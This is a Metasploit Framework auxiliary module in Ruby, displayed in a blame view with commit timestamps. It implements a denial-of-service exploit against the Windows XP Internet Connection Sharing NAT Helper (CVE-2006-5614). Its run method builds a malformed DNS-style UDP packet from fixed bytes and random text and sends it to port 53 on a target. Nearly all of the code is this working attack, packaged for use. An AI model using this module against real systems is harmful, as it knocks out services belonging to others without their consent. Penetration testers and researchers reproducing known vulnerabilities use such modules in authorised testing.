2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-12-08 15:25:19 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-12-08 15:25:19 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
2006-12-08 15:25:19 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft Windows NAT Helper Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a denial of service vulnerability
|
|
|
|
within the Internet Connection Sharing service in
|
|
|
|
Windows XP.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-12-08 15:25:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2010-04-27 21:23:20 +00:00
|
|
|
[ 'OSVDB', '30096'],
|
2006-12-08 15:25:19 +00:00
|
|
|
[ 'BID', '20804' ],
|
|
|
|
[ 'CVE', '2006-5614' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 26 2006'))
|
|
|
|
|
|
|
|
register_options([Opt::RPORT(53),], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
pkt = "\x6c\xb6\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt << "\x03" + Rex::Text.rand_text_english(3) + "\x06"
|
|
|
|
pkt << Rex::Text.rand_text_english(10) + "\x03"
|
|
|
|
pkt << Rex::Text.rand_text_english(3)
|
|
|
|
pkt << "\x00\x00\x01\x00\x01"
|
|
|
|
|
|
|
|
print_status("Sending dos packet...")
|
|
|
|
|
|
|
|
udp_sock.put(pkt)
|
|
|
|
|
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|